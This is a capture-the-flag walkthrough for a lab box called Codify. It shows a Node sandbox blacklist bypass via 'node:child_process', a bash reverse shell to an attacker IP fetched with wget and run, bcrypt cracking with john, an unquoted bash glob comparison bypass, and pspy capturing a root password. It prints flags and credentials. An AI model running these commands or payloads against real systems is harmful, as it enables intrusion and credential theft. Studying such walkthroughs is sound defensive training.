Codify
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Codify is an easy Linux box with three chained flaws, and all three are about trusting a check. Port 3000 serves a JavaScript editor that runs the user's code on the server inside a sandbox (vm2 sandbox escape); that sandbox has a module blacklist, andrequire("child_process")is rejected. Butrequire('node:child_process'), with the modern prefix, is not on the list: the same functionality under another name, and with it command execution and a reverse shell assvc. In/var/www/contactthere is a SQLite holdingjoshua's bcrypt hash, which falls torockyou. Andjoshuacan run, throughsudo, a backup script that compares the password with[[ $DB_PASS == $USER_PASS ]]: unquoted, that bash==does not compare strings, it does pattern matching, so a plain*gets through (wildcard abuse). The script never prints the password, but it puts it onmysql's command line, andpspysees it.
About the evidence. Five captures are published, all from the browser: the one identifying the stack with Wappalyzer, the one with the attempt blocked by the sandbox and three of the editor with the code that does run. The standard keeps interfaces as images; the code that goes inside the editor is also published as text, because that is what has to be copied. Thesudoscript is run twice on purpose (the second time withpspywatching) and its output is the same, so it appears twice. Both flags and root's password are published in full because the box is retired.
Reconnaissance#
Initial scan#
The returning TTL hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop: Linux.
ping -c 1 10.129.78.15864 bytes from 10.129.78.158: icmp_seq=1 ttl=63 time=22.7 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.78.158 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 19:10 +0000 Initiating SYN Stealth Scan at 19:10 Scanning 10.129.78.158 [65535 ports] Discovered open port 22/tcp on 10.129.78.158 Discovered open port 80/tcp on 10.129.78.158 Discovered open port 3000/tcp on 10.129.78.158 Completed SYN Stealth Scan at 19:10, 10.96s elapsed (65535 total ports) Nmap scan report for 10.129.78.158 Host is up, received user-set (0.032s latency). Scanned at 2026-10-20 19:10:20 UTC for 11s Not shown: 65165 closed tcp ports (reset), 367 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 3000/tcp open ppp syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds Raw packets sent: 70528 (3.103MB) | Rcvd: 65168 (2.607MB)
Port 3000 comes back as ppp because that is the service /etc/services assigns to that number, but the -sCV corrects it: it is a Node.js with Express, and its title is the machine's name.
nmap -p22,80,3000 -sCV 10.129.78.158 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 19:10 +0000 Nmap scan report for 10.129.78.158 Host is up (0.023s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://codify.htb/ 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
echo '10.129.78.158 codify.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.78.158 codify.htb
Code editor - TCP 3000#
Port 3000 is a code editor: you write JavaScript, press Run and the server hands you back the output. That is, the product itself offers code execution; all that is left is seeing how far it limits it.

Shell as svc#
A blacklist, not an allow-list#
The first thing to try in a server-side JavaScript interpreter is the module that spawns processes. And it is blocked:

Module "child_process" is not allowed does not say "it does not exist": it says there is a list and that name is on it. And Node accepts the same module under two names: the classic child_process and the modern prefixed one, node:child_process. The blacklist only knew the first.
const child = require('node:child_process')
child.exec('ping -c 4 10.10.15.120', (error, stdout, stderr) => {
if (error) {
console.error(error)
return
}
console.log(stdout)
})![The editor with the node:child_process require and a ping, and in the output a green [object Object] instead of the previous error](../assets/img/codify/cod-ping-203107.webp)
The editor's output is no use for reading the result (it returns [object Object]), so the check is made out of band: if the ping really runs, the packets reach our machine.
sudo tcpdump -i tun0 icmptcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 19:29:20.199751 IP codify.htb > kali: ICMP echo request, id 1, seq 1, length 64 19:29:20.199794 IP kali > codify.htb: ICMP echo reply, id 1, seq 1, length 64 19:29:21.285680 IP codify.htb > kali: ICMP echo request, id 1, seq 2, length 64 19:29:21.285704 IP kali > codify.htb: ICMP echo reply, id 1, seq 2, length 64 19:29:22.220717 IP codify.htb > kali: ICMP echo request, id 1, seq 3, length 64 19:29:22.220742 IP kali > codify.htb: ICMP echo reply, id 1, seq 3, length 64 19:29:23.201789 IP codify.htb > kali: ICMP echo request, id 1, seq 4, length 64 19:29:23.201813 IP kali > codify.htb: ICMP echo reply, id 1, seq 4, length 64
Four requests and four replies: execution confirmed.
From execution to a shell#
nano shell.shcat shell.sh#!/bin/bash bash -i >& /dev/tcp/10.10.15.120/4444 0>&1
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
const child = require('node:child_process')
child.exec('wget http://10.10.15.120/shell.sh -O /tmp/shell.sh', (error, stdout, stderr) => {
if (error) {
console.error(error)
return
}
console.log(stdout)
})
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.78.158 - - [20/Oct/2026 19:37:58] "GET /shell.sh HTTP/1.1" 200 -
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.114 • 172.17.0.1 • 10.10.15.120
const child = require('node:child_process')
child.exec('chmod +x /tmp/shell.sh; bash /tmp/shell.sh', (error, stdout, stderr) => {
if (error) {
console.error(error)
return
}
console.log(stdout)
})
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.114 • 172.17.0.1 • 10.10.15.120
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from codify~10.129.78.158-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: Ctrl+P
[+] Logging to /root/.penelope/sessions/codify~10.129.78.158-Linux-x86_64/2026_10_20-19_43_41-707.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
svc@codify:~$ whoami
svc
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)Shell as joshua#
A SQLite from the other application#
Port 80 and port 3000 are two different applications, and the one on 80 lives in /var/www/contact.
cd /var/www/contactlstotal 120 drwxr-xr-x 3 svc svc 4096 Sep 12 2023 . drwxr-xr-x 5 root root 4096 Sep 12 2023 .. -rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js -rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json -rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates -rw-r--r-- 1 svc svc 20480 Sep 12 2023 tickets.db
file tickets.dbtickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
python3 -m http.server 8080Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
wget http://codify.htb:8080/tickets.db &>/dev/nullsqlite3 tickets.dbSQLite version 3.53.4 2026-07-24 19:02:57 Enter ".help" for usage hints. sqlite> .tables tickets users sqlite> select * from users; ╭────┬──────────┬──────────────────────────────────────────────────────────────╮ │ id │ username │ password │ ╞════╪══════════╪══════════════════════════════════════════════════════════════╡ │ 3 │ joshua │ $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 │ ╰────┴──────────┴──────────────────────────────────────────────────────────────╯ sqlite> .exit
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hashjohn --wordlist=/usr/share/wordlists/rockyou.txt hashUsing default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob1 (?) 1g 0:00:00:30 DONE (2026-10-20 20:02) 0.03244g/s 44.38p/s 44.38c/s 44.38C/s idontknow..connie Use the "--show" option to display all of the cracked passwords reliably Session completed.
The $2a$12$ is a bcrypt with cost 12: 4096 iterations per attempt, which is why John does 44 guesses a second rather than millions. Even so, spongebob1 is in rockyou and it falls in thirty seconds.
su joshuaPassword: joshua@codify:/var/www/contact$ cd joshua@codify:~$ cat user.txt; whoami; hostname; ip a 636d33e8d62ad216d4a71c2fb1223e76 joshua codify 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether a2:de:ad:ec:1b:99 brd ff:ff:ff:ff:ff:ff altname enp3s0 altname ens160 inet 10.129.78.158/16 brd 10.129.255.255 scope global dynamic eth0 valid_lft 3198sec preferred_lft 3198sec inet6 dead:beef::a0de:adff:feec:1b99/64 scope global dynamic mngtmpaddr valid_lft 86400sec preferred_lft 14400sec inet6 fe80::a0de:adff:feec:1b99/64 scope link valid_lft forever preferred_lft forever 3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:10:b5:1f:7d brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 4: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:ee:02:d0:13 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-030a38808dbf valid_lft forever preferred_lft forever 5: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:3e:2d:7e:41 brd ff:ff:ff:ff:ff:ff inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5ab86a4e40d0 valid_lft forever preferred_lft forever inet6 fe80::42:3eff:fe2d:7e41/64 scope link valid_lft forever preferred_lft forever 7: veth0c23295@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default link/ether 82:c6:48:1b:de:96 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::80c6:48ff:fe1b:de96/64 scope link valid_lft forever preferred_lft forever
Shell as root#
An unquoted ==: pattern, not comparison#
sudo -lMatching Defaults entries for joshua on codify: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User joshua may run the following commands on codify: (root) /opt/scripts/mysql-backup.sh
cat /opt/scripts/mysql-backup.sh#!/bin/bash DB_USER="root" DB_PASS=$(/usr/bin/cat /root/.creds) BACKUP_DIR="/var/backups/mysql" read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo if [[ $DB_PASS == $USER_PASS ]]; then /usr/bin/echo "Password confirmed!" else /usr/bin/echo "Password confirmation failed!" exit 1 fi /usr/bin/mkdir -p "$BACKUP_DIR" databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)") for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done /usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!'
The line that decides everything is if [[ $DB_PASS == $USER_PASS ]]; then.
Inside [[ ]], the operand on the right of == is not treated as a literal string but as a pattern, unless it is quoted. And here it is not. So whatever is typed at the read is not compared against the password: it is matched against it, and * matches anything (wildcard abuse). The password we type is a single asterisk.
sudo /opt/scripts/mysql-backup.shEnter MySQL password for root: Password confirmed! mysql: [Warning] Using a password on the command line interface can be insecure. Backing up database: mysql mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES Backing up database: sys mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. All databases backed up successfully! Changing the permissions Done!
Password confirmed!, and the script carries on. But what it does gives us nothing directly: it leaves the dumps with permissions joshua cannot touch.
/usr/bin/gzip /var/backups/mysql/sys.sql.gzgzip: /var/backups/mysql/sys.sql.gz: Permission denied
The password on the command line#
What matters is not the script's result but how it calls MySQL: with -p"$DB_PASS", that is, with root's password in the process arguments. A process on Linux shows its arguments to anyone looking, and the trick is to look at the exact moment. That is what pspy is for.
locate pspy64 | head -n 2/cpts/10.129.255.200_dmz01/tools/pspy64 /home/krmena/Downloads/pspy64
cp /home/krmena/Downloads/pspy64 .python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
A second session is needed: one for pspy and another to launch the script.
ssh joshua@codify.htb... joshua@codify:/tmp$ wget http://10.10.15.120/pspy64; chmod +x pspy64; ./pspy64
With the spy running, the script is launched again from the other session. Its output is exactly the same as before, because it does the same thing:
sudo /opt/scripts/mysql-backup.shEnter MySQL password for root: Password confirmed! mysql: [Warning] Using a password on the command line interface can be insecure. Backing up database: mysql mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES Backing up database: sys mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. All databases backed up successfully! Changing the permissions Done!
And what pspy sees in the other terminal is the whole password:
...
2026/10/20 20:49:43 CMD: UID=0 PID=21623 | /bin/bash /opt/scripts/mysql-backup.sh
2026/10/20 20:49:43 CMD: UID=0 PID=21622 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2026/10/20 20:49:43 CMD: UID=0 PID=21625 | /usr/bin/echo Backing up database: mysql
2026/10/20 20:49:43 CMD: UID=0 PID=21627 | /bin/bash /opt/scripts/mysql-backup.sh
2026/10/20 20:49:43 CMD: UID=0 PID=21626 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
2026/10/20 20:49:43 CMD: UID=0 PID=21628 | /usr/bin/echo Backing up database: sys
2026/10/20 20:49:43 CMD: UID=0 PID=21630 | /bin/bash /opt/scripts/mysql-backup.sh
2026/10/20 20:49:43 CMD: UID=0 PID=21629 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys
...MySQL's -p takes its value glued to it, so the password is kljh12k3jhaskjh12kjh3. And it is the system's root password, not just the database's: the script reads it from /root/.creds.
su rootPassword: root@codify:/tmp# cd root@codify:~# cat root.txt && whoami && ip a && hostname 5741f3c94ac6446980ff196825ab7598 root 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether a2:de:ad:ec:1b:99 brd ff:ff:ff:ff:ff:ff altname enp3s0 altname ens160 inet 10.129.78.158/16 brd 10.129.255.255 scope global dynamic eth0 valid_lft 3452sec preferred_lft 3452sec inet6 dead:beef::a0de:adff:feec:1b99/64 scope global dynamic mngtmpaddr valid_lft 86393sec preferred_lft 14393sec inet6 fe80::a0de:adff:feec:1b99/64 scope link valid_lft forever preferred_lft forever 3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:10:b5:1f:7d brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 4: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:ee:02:d0:13 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-030a38808dbf valid_lft forever preferred_lft forever 5: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:3e:2d:7e:41 brd ff:ff:ff:ff:ff:ff inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5ab86a4e40d0 valid_lft forever preferred_lft forever inet6 fe80::42:3eff:fe2d:7e41/64 scope link valid_lft forever preferred_lft forever 7: veth0c23295@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default link/ether 82:c6:48:1b:de:96 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::80c6:48ff:fe1b:de96/64 scope link valid_lft forever preferred_lft forever codify
Box rooted.
Attack chain#
3000 (Node.js + Express) ─► un editor que ejecuta tu JavaScript en el servidor
│ require("child_process") ─► "Module ... is not allowed": hay LISTA NEGRA
▼
require('node:child_process') ─► el mismo modulo con otro nombre, fuera de la lista
│ ping + tcpdump ─► ejecucion confirmada fuera de banda
▼
wget shell.sh + chmod +x + bash ─► reverse shell como svc
│ /var/www/contact/tickets.db (SQLite) ─► bcrypt de joshua
▼
john + rockyou ─► spongebob1 ─► su joshua ─► user.txt
│ sudo -l: (root) /opt/scripts/mysql-backup.sh
▼
[[ $DB_PASS == $USER_PASS ]] sin comillas ─► la contrasena es un PATRON ─► *
│ el guion llama a mysql con -p"$DB_PASS" ─► pspy ve la linea de comandos
▼
kljh12k3jhaskjh12kjh3 ─► su root ─► root.txtLessons learned#
- A blacklist protects against the names it knows.
child_processwas blocked andnode:child_processwas not, being the same module. Sandboxes are built with allow-lists; a blacklist only documents what the author remembered to forbid. - When there is no output, find an out-of-band channel. The editor returned
[object Object], so apingback at our machine plus atcpdumpserved as proof. Confirming execution does not require reading the response. - Two applications on the same box share the disk. The flaw was on 3000 and the credential in the
/var/www/contactof the one on 80. Once inside, the map is not the services', it is the filesystem's. [[ $a == $b ]]is not a comparison. Unquoted, bash treats the right-hand side as a globbing pattern:*stands in for any password. It is a one-line mistake with total impact, and it is fixed by writing"$USER_PASS".- A password on the command line is a public password. The script never printed it, but it handed it to
mysqlin the arguments, and/procshows those. That is what--defaults-fileand environment variables are for, and whatpspyis for on the other side. - You need a second session. The spy and the trigger do not fit in the same terminal:
pspyonly sees what happens while it runs, so the script has to be launched from somewhere else.